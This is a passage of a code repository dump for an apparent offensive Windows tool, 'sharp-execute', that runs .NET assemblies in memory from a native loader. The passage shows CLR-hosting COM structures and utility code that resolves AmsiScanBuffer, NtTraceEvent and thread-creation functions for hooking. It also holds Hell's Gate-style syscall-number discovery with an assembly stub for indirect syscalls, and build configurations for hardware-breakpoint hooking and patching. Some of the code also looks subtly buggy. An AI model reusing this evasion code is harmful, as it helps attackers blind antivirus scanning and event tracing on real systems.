| 748 | DUMMY_METHOD(GetMethodImplementationFlags); 749 | DUMMY_METHOD(MethodHandle); 750 | DUMMY_METHOD(Attributes); 751 | DUMMY_METHOD(CallingConvention); 752 | DUMMY_METHOD(Invoke_2); 753 | DUMMY_METHOD(IsPublic); 754 | DUMMY_METHOD(IsPrivate); 755 | DUMMY_METHOD(IsFamily); 756 | DUMMY_METHOD(IsAssembly); 757 | DUMMY_METHOD(IsFamilyAndAssembly); 758 | DUMMY_METHOD(IsFamilyOrAssembly); 759 | DUMMY_METHOD(IsStatic); 760 | DUMMY_METHOD(IsFinal); 761 | DUMMY_METHOD(IsVirtual); 762 | DUMMY_METHOD(IsHideBySig); 763 | DUMMY_METHOD(IsAbstract); 764 | DUMMY_METHOD(IsSpecialName); 765 | DUMMY_METHOD(IsConstructor); 766 | 767 | HRESULT(STDMETHODCALLTYPE* Invoke_3)( 768 | IMethodInfo* This, 769 | VARIANT obj, 770 | SAFEARRAY* parameters, 771 | VARIANT* ret); 772 | 773 | DUMMY_METHOD(returnType); 774 | DUMMY_METHOD(ReturnTypeCustomAttributes); 775 | DUMMY_METHOD(GetBaseDefinition); 776 | 777 | END_INTERFACE 778 | } MethodInfoVtbl; 779 | 780 | typedef struct _MethodInfo { 781 | MethodInfoVtbl* lpVtbl; 782 | } MethodInfo; 783 | 784 | typedef struct ICorConfigurationVtbl 785 | { 786 | BEGIN_INTERFACE 787 | 788 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 789 | ICorConfiguration* This, 790 | /* [in] */ REFIID riid, 791 | /* [iid_is][out] */ 792 | __RPC__deref_out void** ppvObject); 793 | 794 | ULONG(STDMETHODCALLTYPE* AddRef)( 795 | ICorConfiguration* This); 796 | 797 | ULONG(STDMETHODCALLTYPE* Release)( 798 | ICorConfiguration* This); 799 | 800 | HRESULT(STDMETHODCALLTYPE* SetGCThreadControl)( 801 | ICorConfiguration* This, 802 | /* [in] */ IGCThreadControl* pGCThreadControl); 803 | 804 | HRESULT(STDMETHODCALLTYPE* SetGCHostControl)( 805 | ICorConfiguration* This, 806 | /* [in] */ IGCHostControl* pGCHostControl); 807 | 808 | HRESULT(STDMETHODCALLTYPE* SetDebuggerThreadControl)( 809 | ICorConfiguration* This, 810 | /* [in] */ IDebuggerThreadControl* pDebuggerThreadControl); 811 | 812 | HRESULT(STDMETHODCALLTYPE* AddDebuggerSpecialThread)( 813 | ICorConfiguration* This, 814 | /* [in] */ DWORD dwSpecialThreadId); 815 | 816 | END_INTERFACE 817 | } ICorConfigurationVtbl; 818 | 819 | typedef struct _ICorConfiguration 820 | { 821 | ICorConfigurationVtbl* lpVtbl; 822 | }ICorConfiguration; 823 | 824 | typedef struct IGCThreadControlVtbl 825 | { 826 | BEGIN_INTERFACE 827 | 828 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 829 | IGCThreadControl* This, 830 | /* [in] */ REFIID riid, 831 | /* [iid_is][out] */ 832 | __RPC__deref_out void** ppvObject); 833 | 834 | ULONG(STDMETHODCALLTYPE* AddRef)( 835 | IGCThreadControl* This); 836 | 837 | ULONG(STDMETHODCALLTYPE* Release)( 838 | IGCThreadControl* This); 839 | 840 | HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForSuspension)( 841 | IGCThreadControl* This); 842 | 843 | HRESULT(STDMETHODCALLTYPE* SuspensionStarting)( 844 | IGCThreadControl* This); 845 | 846 | HRESULT(STDMETHODCALLTYPE* SuspensionEnding)( 847 | IGCThreadControl* This, 848 | DWORD Generation); 849 | 850 | END_INTERFACE 851 | } IGCThreadControlVtbl; 852 | 853 | typedef struct _IGCThreadControl 854 | { 855 | IGCThreadControlVtbl* lpVtbl; 856 | }IGCThreadControl; 857 | 858 | typedef struct IGCHostControlVtbl 859 | { 860 | BEGIN_INTERFACE 861 | 862 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 863 | IGCHostControl* This, 864 | /* [in] */ REFIID riid, 865 | /* [iid_is][out] */ 866 | __RPC__deref_out void** ppvObject); 867 | 868 | ULONG(STDMETHODCALLTYPE* AddRef)( 869 | IGCHostControl* This); 870 | 871 | ULONG(STDMETHODCALLTYPE* Release)( 872 | IGCHostControl* This); 873 | 874 | HRESULT(STDMETHODCALLTYPE* RequestVirtualMemLimit)( 875 | IGCHostControl* This, 876 | /* [in] */ SIZE_T sztMaxVirtualMemMB, 877 | /* [out][in] */ SIZE_T* psztNewMaxVirtualMemMB); 878 | 879 | END_INTERFACE 880 | } IGCHostControlVtbl; 881 | 882 | typedef struct _IGCHostControl 883 | { 884 | IGCHostControlVtbl* lpVtbl; 885 | } IGCHostControl; 886 | 887 | typedef struct IDebuggerThreadControlVtbl 888 | { 889 | BEGIN_INTERFACE 890 | 891 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 892 | IDebuggerThreadControl* This, 893 | /* [in] */ REFIID riid, 894 | /* [iid_is][out] */ 895 | __RPC__deref_out void** ppvObject); 896 | 897 | ULONG(STDMETHODCALLTYPE* AddRef)( 898 | IDebuggerThreadControl* This); 899 | 900 | ULONG(STDMETHODCALLTYPE* Release)( 901 | IDebuggerThreadControl* This); 902 | 903 | HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForDebugger)( 904 | IDebuggerThreadControl* This); 905 | 906 | HRESULT(STDMETHODCALLTYPE* ReleaseAllRuntimeThreads)( 907 | IDebuggerThreadControl* This); 908 | 909 | HRESULT(STDMETHODCALLTYPE* StartBlockingForDebugger)( 910 | IDebuggerThreadControl* This, 911 | DWORD dwUnused); 912 | 913 | END_INTERFACE 914 | } IDebuggerThreadControlVtbl; 915 | 916 | typedef struct _IDebuggerThreadControl { 917 | IDebuggerThreadControlVtbl* lpVtbl; 918 | } IDebuggerThreadControl; 919 | -------------------------------------------------------------------------------- /src/Structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef enum _clrVersion { 4 | CLR_V2, 5 | CLR_V4 6 | } clrVersion; 7 | 8 | typedef struct _HOOK_ADDR { 9 | void* AmsiScanBuffer; 10 | void* NtTraceEvent; 11 | void* NtCreateThreadEx; 12 | void* NtCreateWorkerFactory; 13 | void* QueueUserWorkItem; 14 | } HOOK_ADDR, *PHOOK_ADDR; 15 | 16 | typedef struct _SYS_INFO { 17 | void* pAddress; 18 | WORD syscall; 19 | } SYS_INFO, * PSYS_INFO; 20 | -------------------------------------------------------------------------------- /src/Utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "SharpStruct.h" 4 | #include "Structs.h" 5 | 6 | #define UP 500 7 | #define DOWN 500 8 | 9 | const char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 }; 10 | const char v2[] = { 0x76,0x32,0x2E,0x30,0x2E,0x35,0x30,0x37,0x32,0x37 }; 11 | 12 | const wchar_t wClrV2A[] = L"v2.0.50727"; 13 | const wchar_t wClrV4A[] = L"v4.0.30319"; 14 | 15 | BOOL ReadFileFromDisk( 16 | _In_ LPCSTR lpFilePath, 17 | _Inout_ PVOID* pAddr, 18 | _Inout_ PDWORD dwSize 19 | ) 20 | { 21 | BOOL ret = FALSE; 22 | HANDLE hFile = NULL; 23 | 24 | DWORD size; 25 | 26 | hFile = CreateFileA(lpFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 27 | if (hFile == INVALID_HANDLE_VALUE) 28 | { 29 | goto exit; 30 | } 31 | 32 | *dwSize = GetFileSize(hFile, NULL); 33 | if (*dwSize == 0) 34 | { 35 | goto exit; 36 | } 37 | 38 | *pAddr = malloc(*dwSize); 39 | RtlZeroMemory(*pAddr, *dwSize); 40 | 41 | if ( 42 | ReadFile(hFile, *pAddr, *dwSize, NULL, NULL) 43 | ) 44 | { 45 | ret = TRUE; 46 | } 47 | else 48 | { 49 | 50 | free(*pAddr); 51 | } 52 | 53 | exit: 54 | if (!hFile) CloseHandle(hFile); 55 | return ret; 56 | } 57 | 58 | DWORD xWscmp( 59 | _In_ LPCWSTR ws1, 60 | _In_ LPCWSTR ws2 61 | ) 62 | { 63 | while (*ws1 && (*ws1 == *ws2)) { 64 | ws1++; 65 | ws2++; 66 | } 67 | return *ws1 - *ws2; 68 | } 69 | 70 | clrVersion GetVersionOfClr( 71 | _In_ PVOID fileContent, 72 | _In_ DWORD fileSize 73 | ) 74 | { 75 | for (int i = 0; i < (fileSize - sizeof(v4)); i++) { 76 | if (RtlCompareMemory(((PBYTE)fileContent + i), v4, sizeof(v4)) == sizeof(v4)) { 77 | return CLR_V4; 78 | } 79 | else if (RtlCompareMemory(((PBYTE)fileContent + i), v2, sizeof(v2)) == sizeof(v2)) { 80 | return CLR_V2; 81 | } 82 | else { 83 | continue; 84 | } 85 | } 86 | 87 | } 88 | 89 | BOOL CheckIfClrIsLoaded( 90 | _In_ clrVersion version, 91 | _In_ IEnumUnknown* pEnumerator, 92 | _In_ ICLRRuntimeInfo* pRuntimeInfo 93 | ) 94 | { 95 | WCHAR wszVersion[100]; 96 | DWORD cchVersion = 100; 97 | IUnknown* pUnk = NULL; 98 | BOOL _found = FALSE; 99 | HRESULT hr; 100 | 101 | while (pEnumerator->lpVtbl->Next(pEnumerator, 1, &pUnk, NULL) == S_OK) 102 | { 103 | 104 | hr = pUnk->lpVtbl->QueryInterface(pUnk, &IID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo); 105 | 106 | if (SUCCEEDED(hr)) { 107 | hr = pRuntimeInfo->lpVtbl->GetVersionString(pRuntimeInfo, wszVersion, &cchVersion); 108 | 109 | if (version == CLR_V2) 110 | { 111 | if (xWscmp(wszVersion, wClrV2A) == 0) { 112 | return TRUE; 113 | } 114 | } 115 | 116 | else if (version == CLR_V4) 117 | { 118 | if (xWscmp(wszVersion, wClrV4A) == 0) { 119 | return TRUE; 120 | } 121 | } 122 | 123 | else 124 | { 125 | return FALSE; 126 | } 127 | } 128 | } 129 | 130 | return FALSE; 131 | } 132 | 133 | SAFEARRAY* prepareArgs( 134 | _In_ LPWSTR lpwArgs 135 | ) 136 | { 137 | VARIANT args = { 0 }; 138 | SAFEARRAYBOUND paramsBound = { 1, 0 }; 139 | LONG index = 0; 140 | DWORD dwArgsSize = 0; 141 | SAFEARRAY* params = NULL; 142 | LPWSTR* lpwCliArgs = NULL; 143 | HRESULT hRes = S_OK; 144 | 145 | lpwCliArgs = CommandLineToArgvW(lpwArgs, &dwArgsSize); 146 | 147 | args.vt = VT_ARRAY | VT_BSTR; 148 | SAFEARRAYBOUND sab = { (ULONG)dwArgsSize, 0 }; 149 | args.parray = SafeArrayCreate(VT_BSTR, 1, &sab); 150 | 151 | for (int i = 0; i < dwArgsSize; i++) { 152 | BSTR bstr = SysAllocString(lpwCliArgs[i]); 153 | hRes = SafeArrayPutElement(args.parray, (LONG*)&i, bstr); 154 | if (FAILED(hRes)) 155 | return NULL; 156 | SysFreeString(bstr); 157 | } 158 | 159 | params = SafeArrayCreate(VT_VARIANT, 1, ¶msBound); 160 | 161 | hRes = SafeArrayPutElement(params, &index, &args); 162 | if (FAILED(hRes)) 163 | return NULL; 164 | 165 | VariantClear(&args); 166 | 167 | return params; 168 | } 169 | 170 | BOOL SolveHookAddr( 171 | _In_ PHOOK_ADDR hookList 172 | ) 173 | { 174 | HMODULE hModAmsi = LoadLibraryA("amsi.dll"); 175 | HMODULE hModNtdll = LoadLibraryA("Ntdll.dll"); 176 | HMODULE hModKBase = GetModuleHandleA("Kernelbase.dll"); 177 | 178 | if (!hModAmsi || !hModNtdll || !hModKBase) 179 | return FALSE; 180 | 181 | hookList->AmsiScanBuffer = GetProcAddress(hModAmsi, "AmsiScanBuffer"); 182 | hookList->NtTraceEvent = GetProcAddress(hModNtdll, "NtTraceEvent"); 183 | hookList->NtCreateThreadEx = GetProcAddress(hModNtdll, "NtCreateThreadEx"); 184 | hookList->NtCreateWorkerFactory = GetProcAddress(hModNtdll, "NtCreateWorkerFactory"); 185 | hookList->QueueUserWorkItem = GetProcAddress(hModNtdll, "RtlQueueWorkItem"); 186 | 187 | if ( 188 | !hookList->AmsiScanBuffer || 189 | !hookList->NtTraceEvent || 190 | !hookList->NtCreateThreadEx || 191 | !hookList->NtCreateWorkerFactory || 192 | !hookList->QueueUserWorkItem 193 | ) 194 | return FALSE; 195 | 196 | return TRUE; 197 | } 198 | 199 | DWORD64 dwFindRetInstruction( 200 | _In_ DWORD64 dwAddr 201 | ) 202 | { 203 | for (int i = 0; ;i++) 204 | { 205 | if ( 206 | ((PBYTE)dwAddr + i)[0] == 0xC3 207 | ) 208 | { 209 | return (DWORD64)(dwAddr + i); 210 | } 211 | } 212 | 213 | return 0; 214 | } 215 | 216 | PVOID GetSyscallInstruction( 217 | _In_ PVOID searchAddr 218 | ) 219 | { 220 | for (int i = 0; i < 500; i++) 221 | { 222 | if ( 223 | ((PBYTE)searchAddr + i)[0] == 0x0F && 224 | ((PBYTE)searchAddr + i)[1] == 0x05 225 | ) 226 | { 227 | return (PVOID)((PBYTE)searchAddr + i); 228 | } 229 | } 230 | return NULL; 231 | } 232 | 233 | BOOL GetSyscall( 234 | _In_ PVOID pFunctionAddress, 235 | _In_ PSYS_INFO sysInfo 236 | ) 237 | { 238 | if (*((PBYTE)pFunctionAddress) == 0x4c 239 | && *((PBYTE)pFunctionAddress + 1) == 0x8b 240 | && *((PBYTE)pFunctionAddress + 2) == 0xd1 241 | && *((PBYTE)pFunctionAddress + 3) == 0xb8 242 | && *((PBYTE)pFunctionAddress + 6) == 0x00 243 | && *((PBYTE)pFunctionAddress + 7) == 0x00) { 244 | 245 | BYTE high = *((PBYTE)pFunctionAddress + 5); 246 | BYTE low = *((PBYTE)pFunctionAddress + 4); 247 | sysInfo->syscall = (high << 8) | low; 248 | sysInfo->pAddress = GetSyscallInstruction(pFunctionAddress); 249 | return TRUE; 250 | } 251 | else { 252 | for (WORD idx = 1; idx <= 500; idx++) { 253 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c 254 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b 255 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1 256 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8 257 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00 258 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) { 259 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN); 260 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN); 261 | sysInfo->syscall = (high << 8) | low - idx; 262 | sysInfo->pAddress = GetSyscallInstruction((PBYTE)pFunctionAddress + idx * DOWN); 263 | 264 | return TRUE; 265 | } 266 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c 267 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b 268 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1 269 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8 270 | && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00 271 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) { 272 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP); 273 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP); 274 | sysInfo->syscall = (high << 8) | low + idx; 275 | sysInfo->pAddress = GetSyscallInstruction((PBYTE)pFunctionAddress + idx * UP); 276 | 277 | return TRUE; 278 | } 279 | } 280 | return FALSE; 281 | } 282 | 283 | return FALSE; 284 | } -------------------------------------------------------------------------------- /src/sharp-execute.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.12.35527.113 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sharp-execute", "sharp-execute.vcxproj", "{BB02CF76-BB66-4A63-8AC0-3A228F3AC4F7}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | HWBP HOOK|x64 = HWBP HOOK|x64 12 | PATCH|x64 = PATCH|x64 13 | EndGlobalSection 14 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 15 | {BB02CF76-BB66-4A63-8AC0-3A228F3AC4F7}.Debug|x64.ActiveCfg = Debug|x64 16 | {BB02CF76-BB66-4A63-8AC0-3A228F3AC4F7}.Debug|x64.Build.0 = Debug|x64 17 | {BB02CF76-BB66-4A63-8AC0-3A228F3AC4F7}.HWBP HOOK|x64.ActiveCfg = HWBP HOOK|x64 18 | {BB02CF76-BB66-4A63-8AC0-3A228F3AC4F7}.HWBP HOOK|x64.Build.0 = HWBP HOOK|x64 19 | {BB02CF76-BB66-4A63-8AC0-3A228F3AC4F7}.PATCH|x64.ActiveCfg = PATCH|x64 20 | {BB02CF76-BB66-4A63-8AC0-3A228F3AC4F7}.PATCH|x64.Build.0 = PATCH|x64 21 | EndGlobalSection 22 | GlobalSection(SolutionProperties) = preSolution 23 | HideSolutionNode = FALSE 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /src/sharp-execute.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | HWBP HOOK 10 | Win32 11 | 12 | 13 | HWBP HOOK 14 | x64 15 | 16 | 17 | PATCH 18 | Win32 19 | 20 | 21 | PATCH 22 | x64 23 | 24 | 25 | Debug 26 | x64 27 | 28 | 29 | 30 | 17.0 31 | Win32Proj 32 | {bb02cf76-bb66-4a63-8ac0-3a228f3ac4f7} 33 | sharpexecute 34 | 10.0 35 | 36 | 37 | 38 | Application 39 | true 40 | v143 41 | Unicode 42 | 43 | 44 | Application 45 | false 46 | v143 47 | true 48 | Unicode 49 | 50 | 51 | Application 52 | false 53 | v143 54 | true 55 | Unicode 56 | 57 | 58 | Application 59 | true 60 | v143 61 | Unicode 62 | 63 | 64 | Application 65 | false 66 | v143 67 | true 68 | Unicode 69 | 70 | 71 | Application 72 | false 73 | v143 74 | true 75 | Unicode 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | Level3 105 | true 106 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 107 | true 108 | 109 | 110 | Console 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | true 119 | true 120 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | Level3 133 | true 134 | true 135 | true 136 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 137 | true 138 | 139 | 140 | Console 141 | true 142 | true 143 | true 144 | 145 | 146 | 147 | 148 | Level3 149 | true 150 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 151 | true 152 | 153 | 154 | Console 155 | true 156 | 157 | 158 | 159 | 160 | Level3 161 | true 162 | true 163 | true 164 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 165 | true 166 | -DPATCH %(AdditionalOptions) 167 | 168 | 169 | Console 170 | true 171 | true 172 | true 173 | false 174 | 175 | 176 | 177 | 178 | Level3 179 | true 180 | true 181 | true 182 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 183 | true 184 | -DHWBP %(AdditionalOptions) 185 | 186 | 187 | Console 188 | true 189 | true 190 | true 191 | false 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | Document 211 | 212 | 213 | 214 | 215 | 216 | 217 | -------------------------------------------------------------------------------- /src/sharp-execute.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | 14 | 15 | src 16 | 17 | 18 | src 19 | 20 | 21 | src 22 | 23 | 24 | src 25 | 26 | 27 | src 28 | 29 | 30 | 31 | 32 | include 33 | 34 | 35 | include 36 | 37 | 38 | include 39 | 40 | 41 | include 42 | 43 | 44 | include 45 | 46 | 47 | 48 | 49 | src 50 | 51 | 52 | -------------------------------------------------------------------------------- /src/sharp-execute.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /src/stub.s: -------------------------------------------------------------------------------- 1 | .data 2 | wSyscall DWORD 0h 3 | pJmpAddr QWORD 0h 4 | 5 | 6 | .code 7 | 8 | HellsGate PROC 9 | mov wSyscall, ecx 10 | mov pJmpAddr, rdx 11 | ret 12 | HellsGate ENDP 13 | 14 | HellDescent PROC 15 | mov rax, rcx 16 | mov r10, rax 17 | mov eax, wSyscall 18 | jmp pJmpAddr 19 | HellDescent ENDP 20 | 21 | end --------------------------------------------------------------------------------